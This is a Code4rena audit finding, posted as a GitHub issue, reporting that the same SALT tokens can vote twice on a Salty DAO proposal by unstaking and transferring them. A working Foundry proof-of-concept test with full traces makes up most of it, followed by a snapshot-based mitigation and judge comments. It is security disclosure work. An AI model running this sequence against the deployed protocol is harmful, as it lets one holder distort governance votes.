search

code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

Same amount of SALT can be used to vote for a proposal more than once #710

Closed c4-bot-6 closed 8 months ago

c4-bot-6 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293

Vulnerability details

Impact

A user having staked SALT can vote for a proposal, initiate unstaking of his SALT, transfer the tokens to an other address, and vote again with the same SALT.

The user has to wait for the period to unstake his SALT (a minimum of 2 weeks) but taking into account that the initial ballotMinimumDuration is set to 10 days (changable up to 2 weeks) and the fact that ballots will likely not be reaching the quorum immediately after that period is reached, it is completely possible for a user to execute this action.

Proof of Concept

Check this foundry test

Setup:

contract TestDAO is Deployment
    {
    // User wallets for testing
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);

    constructor()
        {
        // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work
        // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol)
        if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" )))
            initializeContracts();

        grantAccessAlice();
        grantAccessBob();
        grantAccessCharlie();
        grantAccessDeployer();
        grantAccessDefault();

        finalizeBootstrap();

        vm.prank(address(daoVestingWallet));
        salt.transfer(DEPLOYER, 15000000 ether);

        // Mint some USDS to the DEPLOYER and alice
        vm.startPrank( address(collateralAndLiquidity) );
        usds.mintTo( DEPLOYER, 2000000 ether );
        usds.mintTo( alice, 1000000 ether );
        vm.stopPrank();

        vm.prank( DEPLOYER );
        salt.transfer( alice, 10000000 ether );

        // Allow time for proposals
        vm.warp( block.timestamp + 45 days );
        }

    function setUp() public
        {
        vm.startPrank( DEPLOYER );
        usds.approve( address(dao), type(uint256).max );
        salt.approve( address(staking), type(uint256).max );
        usds.approve( address(proposals), type(uint256).max );
        vm.stopPrank();

        vm.startPrank( alice );
        usds.approve( address(dao), type(uint256).max );
        salt.approve( address(staking), type(uint256).max );
        usds.approve( address(proposals), type(uint256).max );
        vm.stopPrank();
        }

Proof of Concept:

    function testSameSALTCanBeUsedToVoteMoreThanOnce() public
        {
        vm.startPrank(alice);
        staking.stakeSALT( 1000000 ether );

        // The proposal to vote for will be a token whitelisting
        IERC20 token = new TestERC20("TEST", 18);
        proposals.proposeTokenWhitelisting( token, "", "" );
        uint256 ballotID = 1;

        // Alice votes with 1_000_000 SALT of voting power
        proposals.castVote(ballotID, Vote.YES);
        uint256 totalVotesBefore = proposals.totalVotesCastForBallot(ballotID);
        console.log("Total votes after alice voted for the first time", totalVotesBefore);

        // Alice immediately initiates unstaking for 2 weeks (which is the most reasonable
        // amount of time that would be possible to obtain the SALT before the ballot finishes)
        uint256 unstakeID = staking.unstake(1000000 ether, 2);

        // Increase block time to be able to recover the SALT
        skip(2 weeks);

        // Alice recovers the 20% of her staked SALT and transfers the amount to Bob
        staking.recoverSALT(unstakeID);
        salt.transfer(bob, 200000 ether);       // 20% of the initial stake
        vm.stopPrank();

        // Bob vote with the amount that Alice just transfered him
        vm.startPrank(bob);
        salt.approve(address(staking), 200000 ether);
        staking.stakeSALT(200000 ether);
        proposals.castVote(ballotID, Vote.YES);

        uint256 totalVotesAfter = proposals.totalVotesCastForBallot(ballotID);
        console.log("Total votes after bob voted", totalVotesAfter);

        // The total votes after must be greater than before the token transfer
        assertGt(totalVotesAfter, totalVotesBefore);
        }

Output traces:

Running 1 test for src/dao/tests/POCSforDAO.sol:TestDAO
[PASS] testSameSALTCanBeUsedToVoteMoreThanOnce() (gas: 1643125)
Logs:
  Total votes after alice voted for the first time 1000000000000000000000000
  Total votes after bob voted 1200000000000000000000000

Traces:
  [1643125] TestDAO::testSameSALTCanBeUsedToVoteMoreThanOnce() 
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) 
    │   └─ ← ()
    ├─ [107526] Staking::stakeSALT(1000000000000000000000000 [1e24]) 
    │   ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 1000000000000000000000000 [1e24])
    │   ├─ [32142] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 1000000000000000000000000 [1e24]) 
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 1000000000000000000000000 [1e24])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 1000000000000000000000000 [1e24])
    │   └─ ← ()
    ├─ [711153] → new TestERC20@0xfF9FA8f363F78f9F5658971A4F357ad95130D1F5
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000001111, value: 1000000000000000000000000000000000 [1e33])
    │   └─ ← 2870 bytes of code
    ├─ [416769] Proposals::proposeTokenWhitelisting(TestERC20: [0xfF9FA8f363F78f9F5658971A4F357ad95130D1F5], , ) 
    │   ├─ [349] TestERC20::totalSupply() [staticcall]
    │   │   └─ ← 1000000000000000000000000000000000 [1e33]
    │   ├─ [2351] DAOConfig::maxPendingTokensForWhitelisting() [staticcall]
    │   │   └─ ← 5
    │   ├─ [2362] PoolsConfig::maximumWhitelistedPools() [staticcall]
    │   │   └─ ← 50
    │   ├─ [2393] PoolsConfig::numberOfWhitelistedPools() [staticcall]
    │   │   └─ ← 9
    │   ├─ [283] ExchangeConfig::wbtc() [staticcall]
    │   │   └─ ← TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98]
    │   ├─ [239] ExchangeConfig::weth() [staticcall]
    │   │   └─ ← TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]
    │   ├─ [5617] PoolsConfig::tokenHasBeenWhitelisted(TestERC20: [0xfF9FA8f363F78f9F5658971A4F357ad95130D1F5], TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall]
    │   │   └─ ← false
    │   ├─ [370] ExchangeConfig::dao() [staticcall]
    │   │   └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99]
    │   ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 1000000000000000000000000 [1e24]
    │   ├─ [2329] DAOConfig::requiredProposalPercentStakeTimes1000() [staticcall]
    │   │   └─ ← 500
    │   ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 1000000000000000000000000 [1e24]
    │   ├─ [2352] DAOConfig::ballotMinimumDuration() [staticcall]
    │   │   └─ ← 864000 [8.64e5]
    │   ├─ emit ProposalCreated(ballotID: 1, ballotType: 1, ballotName: whitelist:0xff9fa8f363f78f9f5658971a4f357ad95130d1f5)
    │   └─ ← 1
    ├─ [74468] Proposals::castVote(1, 3) 
    │   ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 1000000000000000000000000 [1e24]
    │   ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000001111, ballotID: 1, vote: 3, votingPower: 1000000000000000000000000 [1e24])
    │   └─ ← ()
    ├─ [5874] Proposals::totalVotesCastForBallot(1) [staticcall]
    │   └─ ← 1000000000000000000000000 [1e24]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000d3c21bcecceda10000000000000000000000000000000000000000000000000000000000000000000030546f74616c20766f74657320616674657220616c69636520766f74656420666f72207468652066697273742074696d6500000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [130296] Staking::unstake(1000000000000000000000000 [1e24], 2) 
    │   ├─ [2306] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::90d60965() [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000002
    │   ├─ [2307] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::1d370380() [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000034
    │   ├─ [2351] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::40cf2274() [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000014
    │   ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 1000000000000000000000000 [1e24], claimedRewards: 0)
    │   ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000001111, unstakeID: 0, amountUnstaked: 1000000000000000000000000 [1e24], claimableSALT: 200000000000000000000000 [2e23], numWeeks: 2)
    │   └─ ← 0
    ├─ [0] VM::warp(1711962241 [1.711e9]) 
    │   └─ ← ()
    ├─ [37316] Staking::recoverSALT(0) 
    │   ├─ [24934] Salt::transfer(Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1], 800000000000000000000000 [8e23]) 
    │   │   ├─ emit Transfer(from: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], to: Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1], value: 800000000000000000000000 [8e23])
    │   │   └─ ← true
    │   ├─ [6977] Salt::burnTokensInContract() 
    │   │   ├─ emit Transfer(from: Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1], to: 0x0000000000000000000000000000000000000000, value: 800000000000000000000000 [8e23])
    │   │   ├─ emit SALTBurned(amount: 800000000000000000000000 [8e23])
    │   │   └─ ← ()
    │   ├─ [2428] Salt::transfer(0x0000000000000000000000000000000000001111, 200000000000000000000000 [2e23]) 
    │   │   ├─ emit Transfer(from: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], to: 0x0000000000000000000000000000000000001111, value: 200000000000000000000000 [2e23])
    │   │   └─ ← true
    │   ├─ emit SALTRecovered(user: 0x0000000000000000000000000000000000001111, unstakeID: 0, saltRecovered: 200000000000000000000000 [2e23], expeditedUnstakeFee: 800000000000000000000000 [8e23])
    │   └─ ← ()
    ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 200000000000000000000000 [2e23]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: 0x0000000000000000000000000000000000002222, value: 200000000000000000000000 [2e23])
    │   └─ ← true
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) 
    │   └─ ← ()
    ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 200000000000000000000000 [2e23]) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 200000000000000000000000 [2e23])
    │   └─ ← true
    ├─ [65372] Staking::stakeSALT(200000000000000000000000 [2e23]) 
    │   ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 200000000000000000000000 [2e23])
    │   ├─ [20425] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 200000000000000000000000 [2e23]) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 200000000000000000000000 [2e23])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 200000000000000000000000 [2e23])
    │   └─ ← ()
    ├─ [52568] Proposals::castVote(1, 3) 
    │   ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000002222, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 200000000000000000000000 [2e23]
    │   ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000002222, ballotID: 1, vote: 3, votingPower: 200000000000000000000000 [2e23])
    │   └─ ← ()
    ├─ [3874] Proposals::totalVotesCastForBallot(1) [staticcall]
    │   └─ ← 1200000000000000000000000 [1.2e24]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000fe1c215e8f838e000000000000000000000000000000000000000000000000000000000000000000001b546f74616c20766f74657320616674657220626f6220766f7465640000000000) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 9.92s

Tools Used

Manual review

Recommended Mitigation Steps

Creating voting power snapshots for users would disable this action

Assessed type

Governance

c4-judge commented 9 months ago

Picodes marked the issue as duplicate of #746

c4-judge commented 8 months ago

Picodes marked the issue as satisfactory

c4-judge commented 8 months ago

Picodes marked the issue as selected for report

c4-judge commented 8 months ago

Picodes marked issue #844 as primary and marked this issue as a duplicate of 844